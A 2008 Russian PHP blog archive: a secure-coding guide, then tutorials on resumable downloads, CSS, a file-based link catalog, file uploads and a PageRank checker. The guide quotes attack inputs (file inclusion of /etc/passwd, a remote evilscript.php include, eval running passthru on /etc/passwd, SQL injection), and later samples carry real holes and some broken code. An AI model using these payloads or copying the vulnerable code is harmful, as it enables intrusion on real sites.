Архив за Февраль, 2008

PHP - ошибки безопасности

Цель этого документа - информировать PHP программистов о часто встречающихся ошибках безопасности, которые могут остаться незамеченными в PHP скриптах. В то время как многие из нижеследующих концепций кажутся не лишенными здравого смысла, они, к сожалению не всегда практикуются.
После применения следующих практик в написании программ, Вы сможете исключить подавляющее большинство дыр безопасности, которые содержат многие скрипты. Многие из этих дыр безопасности были найдены в часто используемых open source (открытых источниках) и коммерческих PHP скриптах, в прошлом.

Наиболее важный урок, полученный от изучения этой статьи, в том, что вы должны никогда не доверять данным полученным от пользователя ожидая именно то что требуется.

Путь, которым большинство PHP скриптов были скомпрометированы - введя непредвиденные данные использовать дыры безопасности содержащиеся в скрипте.

Всегда держите следующие принципы в уме, когда пишете свои скрипты. помните следующие принципы,

1. Никогда не используйте include, require и не открывайте файл, имя которого базируется на вводе пользователя, тщательно не проверив его перед этим.

Рассмотрим следующий пример:

if(isset($page))
{
include($page);
}

Так как здесь не производится проверки данных содержащихся в $page, злоумышленник, гипотетически, может вызвать ваш скрипт подобным образом (предполагается register_globals установлено в ON):

script.php?page=/etc/passwd

Что запросит ваш скрипт подключить (include) файл паролей сервера /etc/passwd.

При включении не PHP файла посредством include() или require(), он будет отображен в виде HTML/Text не обработанный как код PHP.

На многих установках PHP, функции include() и require() могут подключать удаленные файлы. Если злоумышленник вызовет ваш скрипт подобным образом:

script.php?page=http://mysite.com/evilscript.php

Он получит возможность через evilscript.php послать любой PHP код, который он или она пожелает, чтоб выполнил ваш скрипт. Представьте, если пользователь пошлет код удаляющий содержимое вашей базы данных или перенаправит секретную информацию прямо в браузер.

Решение: проверять ввод. Один из методов проверки - создать список разрешенных страниц. Если входные данные не соответствует какой-либо из этих страниц, может быть выведена ошибка.

$pages = array(’index.html’, ‘page2.html’, ‘page3.html’);
if( in_array($page, $pages) )
{
include($page);
{
else
{
die(”Nice Try.”);
}

2. Будьте осторожны с eval()

Размещение значений введенных пользователем в функции eval() может быть крайне опасным.
Вы по существу предоставляете злоумышленнику возможность выполнить любую команду, которую он или она пожелает! Вы можете предусмотреть ввод в выпадающем меню из указанных вами опций, но ваш пользователь может решить послать входные данные похожим образом:

script.php?input=;passthru(”cat /etc/paswd”);

Поместив свой собственный код в выражении, пользователь может вызвать вашу программу для полного вывода файла /etc/passwd.

Используйте eval() как можно реже, и во что бы то ни стало, проверяйте входные данные. Он должен использоваться только когда это крайне необходимо - когда используется динамически сгенерированный PHP код. Если вы используете его для подстановки шаблонных переменных в строку или подстановки значений введенных пользователем, то вы используете его из ошибочных соображений. Попробуйте sprintf() или систему шаблонов (template system) взамен.

3. Будьте осторожны, когда используете register_globals = ON

Это свойство стало главным предметом разногласий с тех пор как появилось. Первоначально оно задумывалось для того чтоб сделать программирования на PHP проще (и оно это сделало), но злоупотребление им зачастую ведет к дырам безопасности. Что касается PHP 4.2.0, register_globals установлено в OFF по умолчанию. Рекомендуется, чтоб Вы использовали суперглобальные переменные, работая с вводом ($_GET, $_POST, $_COOKIE, $_SESSION, etc).

Например, скажем, у Вас есть переменная, которая указывает какую страницу подключать:

include($page);

но вы подразумеваете, что Ваша целевая $page определена в конфигурационном файле или где-нибудь в скрипте, и не приходит из ввода пользователя. Однажды вы забудете предопределить $page. Если register_globals установлено в On, злоумышленник может завладеть и определить $page для Вас, вызвав Ваш скрипт подобным образом:

script.php?page=http://www.example.com/evilscript.php

Я рекомендую Вам разрабатывать с register_globals установленным в OFF, и использовать суперглобальные переменные, когда получаете ввод пользователя. Вдобавок, Вы всегда должны разрабатывать с полным отчетом об ошибках, который может быть указан как (в начале вашего скрипта):

error_reporting(E_ALL);

Таким образом, вы получите предупреждение о каждой вызываемой Вами переменной, которая не была предопределена. Да, PHP не обязывает Вас предопределять переменные так там могут быть сообщения, которые вы можете проигнорировать, но это поможет вам выловить непроинициализированные переменные, которые вы получаете из ввода или других источников. В предыдущем примере, когда $page передавалась в include(), PHP выдал бы сообщение, о том, что $page не определена. Хотите вы или нет использовать register_globals решать Вам, но будьте уверены в том, что Вы понимаете его преимущества и недостатки и как избежать возможных дыр безопасности.

4. Никогда не выполняйте неэкранированных запросов.

PHP имеет свойство, включенное по умолчанию , автоматически экранировать (добавляя впереди бакслэш “\\”) определенные символы, поступающие из GET, POST, или COOKIE. Одиночная кавычка (’) пример одного из символов которые экранируются автоматически. Это делается так что если Вы включите входные переменные в Ваш SQL запрос, она не интерпретируется одиночной кавычкой части запроса. Скажем, Ваш пользователь ввел $name через форму и Вы выполнили этот запрос:

UPDATE users SET Name=’$name’ WHERE ID=1;

Обычно, если оно содержит введенное $name с ординарной кавычкой в нем, он будет экранирован, так MySQL увидит следующее:

UPDATE users SET Name=’Joe\\’s’ WHERE ID=1;

так что одиночная кавычка, содержащаяся в “Joe’s” не смешается с синтаксисом запроса.

В некоторых случаях, вы можете применить stripslashes() к входным переменным. Если вы помещаете переменную в запрос, для уверенности воспользуйтесь addslashes() или mysql_escape_string() для экранирования одиночных кавычек перед выполнением запроса. Представьте если неэкранированный запрос прошел, и злоумышленник ввел часть запроса как внутреннее имя!

UPDATE users SET Name=’Joe’,Admin=’1′ WHERE ID=1;

В поле формы, ввел Joe’,Admin=’1

Как свое имя и так как одиночные кавычки не были экранированы, он или она сможет закончить определение имени, поместив запятую, и установив другую переменную называемую Admin!

Конечный, печальный, запрос будет выглядеть как:

UPDATE users SET Name=’Joe’,Admin=’1′ WHERE ID=1;

В некоторых конфигурациях, magic_quotes_gpc (свойство, которое автоматически добавляет слеш ко всему вводу) установлено в OFF. Вы можете использовать функцию get_magic_quotes_gpc() чтоб просмотреть включено оно или нет (возвращает true или false). Если вернет false, просто воспользуйтесь addslashes() для добавления слешей ко всем входным данным (проще если вы испоьзуете $_POST, $_GET и $_COOKIE или $HTTP_POST_VARS, $HTTP_GET_VARS, и $HTTP_COOKIE_VARS, вместо суперглобальных переменных так как вы можете пошагово пройтись по этим массивам используя цикл foreach() и добавляя слеши к каждому).

5. Для защищенных зон, используйте сессии или проверяйте каждый раз login.

В некоторых случаях, где программисты используют только один из видов login.php скрипт сперва проверяет имя пользователя и пароль (введенные через форму), проверяя администратору ли они принадлежат или действительному пользователю, и устанавливают переменную через cookie, или прячут прямо, в HTML, как скрытую переменную. Затем в коде, они просматривают, имеют ли они доступ, наподобие:

if($admin)
{
// let them in
}
else
{
// kick them out
}

Вышеприведенный код делает фатальное допущение, что переменная $admin может прийти только из cookie или полей ввода формы, которые злоумышленник не контролирует.

Однако, не в этом случае.
С включенными register_globals, встраивание получаемого ввода в переменную $admin также легкомысленно как вызов скрипта как:

script.php?admin=1

Более того, даже если вы используете суперглобальные переменные $_COOKIE или $_POST, злоумышленник может запросто фальсифицировать cookie или создать свою собственную HTML форму чтоб послать любую информацию в Ваш скрипт.

Есть два хороших решения этой проблемы. Первый - тем же путем установить переменную $admin, но в то же время устанавливать переменную $admin как сессионную переменную.
В этом случае, она сохраняется на сервере и вероятность фальсификации гораздо ниже.
При повторных обращениях к этому же скрипту, ваша предыдущая пользовательская сессионная информация будет доступна на сервере, и Вы сможете определить является ли пользователь администратором как:

if( $_SESSION[’admin’] )

Второй метод это сохранять только имя пользователя и пароль в cookie, и при каждом обращении к скрипту, сверять имя пользователя и пароль и проверять пользователь это или администратор. Вы можете создать две функции - одну называемой validate_login($username,$password), которая проверяет информацию о пользовательских логинах и одну называемой is_admin($username), которая базу данных просмотреть принадлежит ли имя пользователя администратору. Код необходимо разместить в начале каждого защищенного скрипта.

if( !validate_login( $_COOKIE[’username’], $_COOKIE[’password’] ) )
{
echo “Sorry, invalid login”;
exit;
}
// the login is ok if we made it down here
if( !is_admin( $_COOKIE[’username’] ) )
{
echo “Sorry, you do not have access to this section”;
exit;
}

Лично Я рекомендую использовать сессии, так как последнее решение не масштабируемо.

6. Если вы не хотите, чтоб содержимое файла было просмотрено, дайте файлу .php расширение

Это часто практиковалось, некоторое время, называть подключаемые или библиотечные файлы с .inc расширением. Проблема в следующем: если злоумышленник просто укажет .inc файл в своем браузере, файл будет выведен как обыкновенный текст не обработанный как PHP. В случае если браузеру не понравится тип файла, скорее всего, будет предложено скачать его. Представьте если файл содержит ваш логин и пароль к базе данных, или еще более секретную информацию.

Это касается любых других расширений кроме .php (и нескольких других), таким образом .conf или .cfg файлы не будут в безопасности.Решение это добавлять .php расширение в конце них. Так как вы подключаете файлы или конфигурационные файлы обычно только определяя переменные и/или функции и явно не выводите что-либо, если ваш пользователь попытается загрузить их, например, в свой браузер:

http://yoursite.com/lib.inc.php

они скорее всего вообще не будут отображены, если ваш lib.inc.php не выводит что-либо. Таким образом, файл будет обработан как PHP вместо, вывода вашего кода.

Также есть сообщения от людей добавляющих Apache директивы, которые запрещают доступ к .inc файлам; однако, Я не рекомендую этого из-за недостатка переносимости. Если вы действительно включите .inc файлы и эту Apache директиву, запрещая доступ к ним, и в один день вы перенесете ваши скрипты на другой сервер и забудете поместить директиву в Apache, Вы общедоступны.

Автор: Дэйв Кларк (Dave Clark)
От: 2004-06-09
——————————————————————————–
Перевел: Байзульдин Тимур Муратович.
Источник: http://www.devshed.com

Tags: include, php, register_globals, безопасность, ошибки

Добавить комментарий Февраль 29, 2008

Скачивание файлов с докачкой

Многие интернет-проекты (неважно, что это: движки форумов, фотогалереи или что-то ещё) позволяют пользователям загружать файлы на сайт и скачивать их оттуда.

С закачкой проблем не возникает никогда.

А вот со скачиванием закачанных файлов зачастую бывает одна маленькая проблема: многие вебмастера хотят знать, сколько раз был скачан тот или иной файл. Что же они делают? Очень просто: дают ссылку не на собственно файл, а на некоторый скрипт, который выглядит примерно так:
<?php
// тут подсчёт скачиваний, разные действия
// а дальше: просто выдача всего содержимого файла, примерно так:
readfile ($filename);
?>

И всё бы ничего, но:
Файлы порой бывают очень большими,
а связь — очень некачественной.

Ну и что? А очень просто: выданный таким образом файл нельзя скачивать порциями. То есть ни один менеджер скачиваний (например, ReGet, FlashGet или Download Master и прочие) не смогут:
Скачивать файл в несколько потоков;
Приостановить скачивание в любой момент, а через некоторый промежуток времени начать скачивать файл с места остановки (а ведь в этом и суть докачки).

Что делать?

Вот и меня посетила такая мысль. Полчаса экспериментов — и у меня получилась очень хорошая функция. Отдаю её Вам:
function downloadFile($filename, $mimetype=’application/octet-stream’) {
if (!file_exists($filename)) die(’Файл не найден’);

$from=$to=0; $cr=NULL;

if (isset($_SERVER[’HTTP_RANGE’])) {
$range=substr($_SERVER[’HTTP_RANGE’], strpos($_SERVER[’HTTP_RANGE’], ‘=’)+1);
$from=strtok($range, ‘-’);
$to=strtok(’/'); if ($to>0) $to++;
if ($to) $to-=$from;
header(’HTTP/1.1 206 Partial Content’);
$cr=’Content-Range: bytes ‘ . $from . ‘-’ . (($to)?($to . ‘/’ . $to+1):filesize($filename));
} else header(’HTTP/1.1 200 Ok’);

$etag=md5($filename);
$etag=substr($etag, 0, 8) . ‘-’ . substr($etag, 8, 7) . ‘-’ . substr($etag, 15, 8);
header(’ETag: “‘ . $etag . ‘”‘);

header(’Accept-Ranges: bytes’);
header(’Content-Length: ‘ . (filesize($filename)-$to+$from));
if ($cr) header($cr);

header(’Connection: close’);
header(’Content-Type: ‘ . $mimetype);
header(’Last-Modified: ‘ . gmdate(’r', filemtime($filename)));
$f=fopen($filename, ‘r’);
header(’Content-Disposition: attachment; filename=”‘ . basename($filename) . ‘”;’);
if ($from) fseek($f, $from, SEEK_SET);
if (!isset($to) or empty($to)) {
$size=filesize($filename)-$from;
} else {
$size=$to;
}
$downloaded=0;
while(!feof($f) and !connection_status() and ($downloaded<$size)) {
echo fread($f, 512000);
$downloaded+=512000;
flush();
}
fclose($f);
}

Функция принимает два параметра: $filename — полный путь до файла, $mimetype — MIME-тип файла (если не знаете, что это такое — не указывайте второй параметр при вызове функции).

Вызов функции может быть например таким:
downloadFile(’file/archive.zip’, ‘application/zip’);
// Выдаём пользователю файл “file/archive.zip” и указываем MIME-тип

Или таким:
downloadFile(’i_want_to_break_free.mp3′, ‘audio/mpeg’);
// Выдаём файл “i_want_to_break_free.mp3″ и снова указываем MIME-тип

А можно и вот так:
downloadFile(’somefile.ext’);
// Здесь пользователю отдаётся файл “somefile.ext”, но MIME-тип не указывается.
// Впрочем, ничего страшного в этом нет.

Однако не забудьте вот о чём: функция посылает заголовки header. Значит до вызова функции не должен выводиться никакой текст.

После вызова функции лучше тоже ничего не выводить — некоторые менеджеры закачек не смотрят на то, что необходимые размеры скачаны и качают пока не закончится поток данных. А это приведёт к тому, что в нормальный файл попадёт всякий бред.

Я бы посоветовал сразу после вызова downloadFile() сделать вызов die();

Глупо было бы думать, что я один такой умный (хотя и хотелось бы) . Но Вы можете (вместо моей функции) использовать PEAR-библиотеку HTTP_Download, которая реализует всё то, что и моя функция, и много других возможностей (как-то: кэширование, сжатие данных «на лету» и прочее).

Автор:Евгений Неверов http://evgeny.neverov.name

Tags: Mime, Pear, php, докачка, файл

Добавить комментарий Февраль 28, 2008

Что такое CSS

Страшно подумать, но в июле этого года исполнилось всего 10 лет стандарту HTML 1.0 (который, кстати, так никогда и не был “официально” принят и остался в виде черновика для “внутреннего употребления”). За эти 10 лет HTML прошел очень большой путь, завоевал практически все компьютеры в мире и стал одним из самых известных “компьютерных языков” (все-таки отнести его к языкам программирования рука не поднимается)… И одним из весьма заметных этапов развития HTML стало появление CSS - Cascading Style Sheets или, говоря по-русски, каскадных таблиц стилей.

Идея CSS очень проста. Если в HTML вы прямо в документе ставили указание на то, как должен выглядеть тот или иной элемент, то при использовании CSS такие указания выносятся в отдельный блок (который может либо включаться в документ, либо читаться из внешнего файла).

Такой простой ход стразу дает массу преимуществ вебмастеру. Прежде всего, значительно облегчается изменение внешнего вида сайта или отдельных его элементов - достаточно изменить определение соответствующего стиля в единственном CSS-файле, и эти изменения распространятся на весь сайт. Второе преимущество - сокращение размеров документов, которое особенно заметно на “красивых” страницах.

Первая версия CSS - CSS level 1 - принятая в 1996 и пересмотренная в 1999 году, позволяла оперировать только цветами, шрифтами, отступами и им подобными относительно простыми и частоиспользуемыми элементами. Принятая в 1998 году, спецификация CSS level 2 добавила возможность абсолютного позиционирования элементов, создания стилей для разных типов устройств, использования собственных курсоров, расширила возможности по выбору элементов, к которым должен применяться тот или иной стиль и многое другое. Естественно, что CSS level 2 поддерживает и таблицы стилей, созданные в CSS level 1. В настоящее время консорциум W3C активно ведет разработку стандарта CSS level 3 и CSS level 2 revision 1, которые должны учесть все возрастающие потребности вебмастеров и вебдизайнеров, по созданию современных и удобных сайтов.

Следует учитывать, что каскадные таблицы стилей не полностью абстрагируют визуальное представление документа от его содержания - они только позволяет более компактно описать правила визуального представления. И если вы захотите изменить дизайн сайта, то вам все-равно придется переписывать HTML код (правда, сделать это будет проще чем при отсутствии CSS). Значительно больший уровень абстракции можно получить, используя связку языков XML + XSL (из которых, в частности, можно генерировать HTML + CSS), но это намного сложнее, и несколько выпадает из темы данной статьи.

Но хватит теории! Давайте попробуем практикой заняться…

Есть три способа описать стиль элемента в HTML документе. Самый простой и, практически, не использующий преимуществ CSS способ - это указать стиль внутри тега HTML. Например, написать
<H2 STYLE=”COLOR: #AADDAA; FONT-WEIGHT: BOLD; FONT-SIZE:11pt;”>заголовок второго уровня</H2>
Единственное преимущество, которое можно получить таким образом - это задание некоторых атрибутов текста, которые не поддерживаются тегами HTML. Зато сохраняются все недостатки HTML - указанный стиль относится только к одному тегу и для изменения внешнего вида документа вам придется изменить описание стиля в каждом теге.

Второй способ несколько лучше: надо описания стилей заключить внутри тегов <STYLE TYPE=”text/css”> и </STYLE>. Например, если вы напишете
<STYLE TYPE=”text/css”>
H2 {COLOR: #AADDAA; FONT-WEIGHT: BOLD; FONT-SIZE:11pt;}
</STYLE>
а в тексте документа укажете <H2>заголовок второго уровня</H2>, то получите тот же эффект. Однако, в отличие от предыдущего способа, свойства отображения применятся ко всем тегам H2 в документе. И если, скажем, вам потребуется изменить размер шрифта или цвет всех заголовков второго уровня, то изменить потребуется всего одну строчку. Согласитесь, что это намного удобнее!

Однако, у предыдущего способа тоже есть свой недостаток: блок STYLE вам придется скопировать в каждую страницу своего сайта. А если страниц там несколько сотен? И вам понадобится что-то поменять? Неудобно… Но можно победить и эту проблему - с помощью тега LINK. Описав требуемые стили в отдельном текстовом файле (теги STYLE указывать не требуется), вы затем можете написать в секции HEAD документа
<LINK REL=”stylesheet” TYPE=”text/css” HREF=”style.css”>
Эта команда укажет, что таблица стилей находится во внешнем файле. Таким образом, даже для очень большого сайта может использоваться всего один файл со стилями, что очень сильно облегчает редактирование. Есть еще один “хитрый” необязательный параметр тега LINK: MEDIA. Он может указывать для какого типа устройств таблица стилей предназначена и иметь значения, например, “all” (используется по умолчанию), “handheld”, “print” и некоторые другие. Следует только учесть, что (пока еще?) не все браузеры понимают таблицы стилей, подключаемые с использованием этого параметра.

В некоторых случаях бывает полезно объединить два предыдущих метода - например, если разные секции должны иметь частично разные стили (скажем, отличаться цветом фона). Внутри тега STYLE можно указать
@import url(style.css)
и тогда к стилям, описанным внутри STYLE присоединятся стили из внешнего файла.

Но у внешних файлов тоже есть недостаток: если соединение с сервером не очень хорошее (что не редкость у модемных пользователей), то файл со стилями может и не скачаться… А страничка без стилей обычно выглядит преотвратнейше… Поэтому тут уж вам придется выбирать как лучше поступить.

Практика показывает, что таблицы стилей редко бывают больше 2-3 Кб, даже для очень “раскрашенных” страниц. И если ваш веб-сервер умеет “на лету” сжимать страницы (в Apache, например, этим занимается mod_gzip), то такой объем будет для пользователя практически незаметен. Ну а дальше - дело техники: пишется какая-нибудь команда, которая на сервере читает таблицу стилей из внешнего файла (все-таки один файл намного легче редактировать!) и встраивает ее содержимое в страницу, отдаваемую посетителю. В простейшем случае это может быть инструкция SSI, вроде
<!–#include file=”style.css” –>
а если ваш сайт написан на php, то можно написать, например,
<?php readfile(”style.css”); ?>

Источник: http://www.listsoft.ru/

Tags: CSS, html, style

Добавить комментарий Февраль 28, 2008

Каталог сайтов на PHP без MySQL

Мы рассмотри каталог ссылок на PHP который не использует MySQL. Данный каталог работает на моём сайте, т.е. я выкладываю исходники каталога + документацию к нему.

Функции

Наш каталог будет не простым. Он будет иметь администрирование, причём администрирование будет защищено логином и паролем.
Сначала разбёрём фнукции каталога:
1. Добавление ссылки
2. Вывод ссылок
3. Подсчёт количества ссылок в каждой категории(разделе).
Функции администрирования
1. Вывод ссылок непровернных
2. Вывод проверенных ссылок
3. Редактирование любых сcылок
4. Удаление ссылок
5. Оценка ссылок
Файлы
Мы будем использовать вот какие файлы:

1. addlink.php
В этом файле стоит форма для добавления ссылок. А именно: Название, Адрес, Категория, Описание. Эта форма ссылаеться на файл tomoder.php - action=tomoder.php.

2. tomoder.php В этом файле обрабатываеться ссылка, ей присваеться значение check=0, имееться ввиду то что она ещё непроверена, а значит не допущена к выводу.

3. файлы вывода ссылок
В этих файлох будет выводиться ссылки

4. admin.php
Файл администрирования защищенный паролем и логином. Использует edit.php

5. edit.php
Содержит в себе форму для редактирования ссылок в admin.php
6. id.txt
содержит id ссылки 6. links.txt
содержит ссылки

Код
addlink.php
<form method=post action=tomoder.php>
Название:<input type=text name=name><br>
Адрес:<input value=”http://” type=text name=website><br>
<select name=”kat” style=”width:200″>
<option value=”1″>Веб-мастеру</option>
<option value=”2″>Программирование на PHP</option>
<option value=”3″>Архив скриптов</option>
<option value=”4″>Графика, Photoshop и др.</option>
<option value=”5″>Раскрутка сайта</option>
<option value=”6″>Архив документаций</option>
<option value=”7″>Разное</option>
</select>
<br>
<textarea rows=”5″ name=”op” cols=”30″></textarea><br>
<input type=submit name=button value=Добавить>
</form>
Здесь сложного ничего нет - простая форма.

tomode.php
$idopen = fopen(’id.txt’,'r’); // открываем файл с id прошлой ссылки
$idlink = fgets($idopen, 1000); // переменной idlink присвоем значение id прошлой ссылки
$idlink++; // увеличиваем id на 1
fclose($idopen); // закрываем файлик
$idopen = fopen(’id.txt’, ‘w’); // открываем заново
fputs($idopen, $idlink); // добавляем новый id
fclose($idopen); // закрываем файлик

$file = fopen(’links.txt’, ‘r’); // открываем файл со ссылками
$links = unserialize(fread($file, 100000)); // расшифровыаем данный массив со ссылками
fclose($file); // закрываем файлик

function replace ($string)
{

$string = str_replace(”::”,”::”,$string);
$string = str_replace(”<”,”<”,$string);
$string = str_replace(”>”,”>”,$string);
$string = str_replace(’\”,”"”,$string);
$string = str_replace(”\n”,”
“,$string);
$string = str_replace(’”‘,”"”,$string);
$string = str_replace(”%20″,” “,$string);
$string = str_replace(”$”,”S;”,$string);
return $string;

}
// это функция для заменения некоторых символов в данных ввёденых пользователем

$moder = “0″; // ссылка не проверена
$op = replace($op); // испльзуем функцию для заменения тэгов и т.д.
$name = replace($name); // испльзуем функцию для заменения тэгов и т.д.
$website = replace($website); // испльзуем функцию для заменения тэгов и т.д.
$links[] = array (
‘url’ => “$website”, // адрес
‘name’ => “$name”, // имя
‘description’ => “$op”, // описание
‘cat’ => “$kat”, // категория
’stars’ => “$starz”, // оценка модератора
‘check’ => “$moder”, // проверена или нет
‘id’ => “$idlink”, // id ссылки
);

// создаём массив ссылки

$file = fopen(’links.txt’, ‘w’); // открываем файлик со ссылками
$text = serialize($links); // зашифровываем новую ссылку
fwrite ($file,”$text”); // записываем в файлик

fclose($file); // закрываем файлик

admin.php
<?
if (($PHP_AUTH_USER!=’login’)||($PHP_AUTH_PW!=’pass’)) { // login - ваш логин, pass - ваш пароль
header(”WWW-Authenticate: Basic realm=\”Введите логин и пароль\”");
header(”HTTP/1.0 401 Unauthorized”);
exit();
}
?>

<?
$filename = “links.txt”; // файл со ссылками
function open_links($filename) {
$open = fopen($filename, “r”);
$links = unserialize(fread($open,100000));
fclose($open);
return $links;
}
// функция для открывания ссылок

function save_links($filename, $links) {
$open = fopen($filename, “w”);
fputs($open, serialize($links));
fclose($open);
return 1;
}
// функция для открывания ссылок
?>

<?
$links = open_links($filename); // открываем ссылки
echo “Непроверенные:
“; // говорим что щас будут непроверенные ссылки
foreach ($links as $link) { // раскрадываем массив массивов
if($link[check]==0) { // если не проеренно
echo “<a href=\”?id=$link[id]\”>$link[name]</a><br>$link[url]<br>$link[description]<br>$link[cat]<br>$link[id]<br><br>\n”; // вывод ссылок
$idd = $id;
}
}

echo “Проверенные:
“; // говорим что щас будут проверенные ссылки
foreach ($links as $link) { // раскрадываем массив массивов
if($link[check]==1) { // если проверено
echo “<a href=\”?id=$link[id]\”>$link[name]</a><br>$link[url]<br>$link[description]<br>$link[cat]<br>$link[id]<br><br>\n”; // вывод ссылок
$idd = $id;
}
}
?>

<?
foreach($links as $link) {
if ($id==$link[id]) { // если id в урле совпадает с id ссылки то..
. include “edit.php”; // … то открываем файл edit.php для редактирования данной ссылки
break;
}
}
?>

<?
if(!empty($button)){ // если кнопка сохранения не пуста (в edit.php)
if (isset($editlink)) { // если есть новая подредактированая ссылка
foreach($links as $key=>$link) { // передаём ключ к массиву
if ($link[id]==$editlink[id]) { // если совпадают id
$links[$key] = $editlink; // вносим новые значения в эту ссылку
save_links($filename, $links); // и записываем эту ссылку в файл
break;
}
}
}

}

if(!empty($button1)){ // если кнопка удаления не пуста (в edit.php)
if (isset($editlink)) { если есть новая подредактированая ссылка
foreach($links as $key=>$link) { // передаём ключ к массиву
if ($link[id]==$editlink[id]) { // если совпадают id
$links[$key] = $editlink; // вносим новые значения в эту ссылку
unset($links[$key]); // удаляем ссылку
save_links($filename, $links); // сохраняем массив
break;
}
}
}

}
?>

edit.php
<form method=post action=”<?=$PHP_SELF;?>”>
Название:<input type=text value=”<?=$link[name];?>” name=editlink[name]><br>
Адрес:<input value=”<?=$link[url];?>” name=editlink[url] type=text ><br>
Оценка:<input value=”<?=$link[stars];?>” name=editlink[stars] type=text ><br>
CHECK:<input value=”<?=$link[check];?>” name=editlink[check] type=text ><br>
<select name=”editlink[cat]” style=”width:200″>
<option value=”1″>Веб-мастеру</option>
<option value=”2″>Программирование на PHP</option>
<option value=”3″>Архив скриптов</option>
<option value=”4″>Графика, Photoshop и др.</option>
<option value=”5″>Раскрутка сайта</option>
<option value=”6″>Архив документаций</option>
<option value=”7″>Разное</option>
</select>
<input type=”hidden” name=”editlink[id]” value=”<?echo $link[id];?>”>
<br>
<?
echo “<textarea rows=5 name=editlink[description] cols=30>$link[description]</textarea><br>”;
?>
<input type=submit name=button value=Сохранить>
<input type=submit name=button1 value=Удалить>
</form>

Источник: Zealot

Tags: MySQL, php, каталог, сайт

Добавить комментарий Февраль 27, 2008

PHP Загрузка файлов

У php достаточно большой набор возможностей, для работы с загрузкой файлов:
$_FILES[”filename”][”tmp_name”]-имя сохраненного файла
$_FILES[”filename”][”name”]-имя запрашиваемого файла
$_FILES[”filename”][”size”] –размер файла в байтах
$_FILES[”filename”][”type”]-содержит в себе разрешение файла и категорию к которой относится. Но не думайте что, последнее выведет вам прямо в руки его разрешение, оно выводит сначала категорию, а потом разрешение, например
application/x-rar-compressed-вот так обозначаются файлы с разрешением php.
Конечно можно было применить strops,с обрезанием до точки, а если файл будет содержать точки, то получится- БРЕД.
Как видите, скрипт написан на простейшем языке, дабы облегчить его понимание, данный скрипт можно было выполнить через оператор “or”,получилось значительно меньше тегов, но наверно менее понятно.

Что мы хотим о скрипта?
1)Чтобы можно было закачивать только архивы
2)Чтобы не больше 1 мегабайта
3)Перед закачкой,проверить не существует ли такое имя
4)Если есть то скрипт сам даст имя
Ну вот те цели которые мы перед собой поставили.Реализацию начнем с обычной html форме Code
<form action=”#” method=POST enctype=”multipart/form-data”> <input type=”FILE” name=”filename”><br> <input type=”submit” name=upload value=Загрузить><br> </form>

Ну а теперь сам код,в том же файле Code
<?php if (isset($_POST[’upload’])) { if(empty($filename)) { exit (”Имя введите”); } //Создаем массив с доступными разрешениями $array=array(”application/zip”,”application/x-rar-compressed”,”image/jpeg”); //ищем разрешение файла в массиве if (in_array($_FILES[’filename’][’type’],$array))/ {//если найдено то выполняем проверку на размер файла if ($_FILES[’filename’][’size’] > 1024*1*1024) {
//если размер не подходит exit (”Максимальный размер файла 1 мегобайт “); } //для удобства приравниваем имя файла $fn=$_FILES[’filename’][’name’]; //проверяем существует ли файл if(file_exists(”catalog/$fn”)==TRUE) { //если файл уже есть,о определяем дату, $date=time(); записываем файл в виде “дата@имя файла.разрешение copy($_FILES[”filename”][”tmp_name”],”catalog/$date@$fn”); echo”Файл с таким именем уже присутствует в каталоге.Поэтому ему было присвоено имя $date@$fn”; } else {//если файла нету то просто копируем copy($_FILES[”filename”][”tmp_name”],”catalog/$fn”); //копируем файл }} else {//если имя разрешение файла не найдено,тоесть не подходит exit (”Не подходит”); } } ?>

Автор: Велько Антон

Tags: php, загрузка, файл

Добавить комментарий Февраль 26, 2008

Определяем тИЦ и PR

Как быстро и просто на PHP определить Индекс Цитирования и PageRank?

Давайте подумаем: и у Яндекса и у Гугла есть свои тулбары для браузеров, на которых показывается ИЦ (на Яндекс.Баре) и PR (на Google Toolbar). То есть оба бара откуда-то эти данные берут.

Посидев три минуты с анализатором запросов стало понятно, что Яндекс берёт данные по адресу: http://bar-navig.yandex.ru/u?ver=2&url=[URL страницы]&show=1&post=1, причём в URL можно спокойно подставлять что угодно и всё будет нормально.

Проблемы оказались с Гуглом. Его адрес выглядит так: http://www.google.com/search?client=navclient-auto&ch=6[Контрольная сумма]&features=Rank&q=info:[URL страницы]. Проблема в том, что для каждого URL своя контрольная сумма, если её рассчитать неправильно или вообще убрать, то метод не сработает.

Впрочем, это тоже не стало большой проблемой.

После написания первого варианта статьи я сделал бесплатный веб-сервис определения индекса цитирования и PageRank, сервис этот расположен по адресу: http://cy-pr.net.ru. Сервис позволяет отправить запрос методом GET или POST и возвращает ответ в текстовом или в XML формате.

Всё, что нам остаётся сделать — это отправить запрос серверу cy-pr.net.ru и получить от него ответ в текстовом формате (чтобы было проще обработать).
<?php
/*

Скрипт определения тИЦ и PR при помощи сервиса
http://cy-pr.net.ru

Авторские права ©2006 — Неверов Евгений.
Все права защищены.

Пример использования:
$r=detectCyPr(’www.yandex.ru’);
print_r($r);

*/

function detectCyPr($url) {
//
// $url — адрес веб-сайта, для которого нужно определить тИЦ и PR
//
// Функция возвращает ассоциативный массив со структурой:
// Array
// (
// [cy] => Индекс цитирования
// [pr] => PageRank
// )
//

$rn=”
“;

$http_query=’GET /get?url=’ . $url . ‘&type=text HTTP/1.0′ . $rn .
‘Content-Type: application/x-www-form-urlencoded’ . $rn .
‘Host: cy-pr.net.ru’ . $rn .
‘Accept: */*’ . $rn .
‘Connection: Keep-Alive’ . $rn .
‘User-Agent: CyPrChecked (http://cy-pr.net.ru)’ . $rn . $rn;

$f=fsockopen(’cy-pr.net.ru’, 80);
if (!$f) {
return FALSE;
} else {
@fwrite($f, $http_query);

$data=”;
while(!@feof($f))
$data.=fread($f, 1024*1024);

@fclose($f);

preg_match(’#CY=([0-9]+);#i’, $data, $t);
$ret[’cy’]=$t[1];
preg_match(’#PR=([0-9]+);#i’, $data, $t);
$ret[’pr’]=$t[1];

return $ret;
}
}
?>

Если же Ваш сервер поддерживает модуль cURL, то код значительно упрощается:
<?php
/*

Скрипт определения тИЦ и PR при помощи сервиса
http://cy-pr.net.ru

Авторские права ©2006 — Неверов Евгений.
Все права защищены.

Пример использования:
$r=detectCyPr(’www.yandex.ru’);
print_r($r);

*/

function detectCyPr($url) {
//
// $url — адрес веб-сайта, для которого нужно определить тИЦ и PR
//
// Функция возвращает ассоциативный массив со структурой:
// Array
// (
// [cy] => Индекс цитирования
// [pr] => PageRank
// )
//

$ch=curl_init(’http://cy-pr.net.ru/get.php?url=’ . $url . ‘&type=text’);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
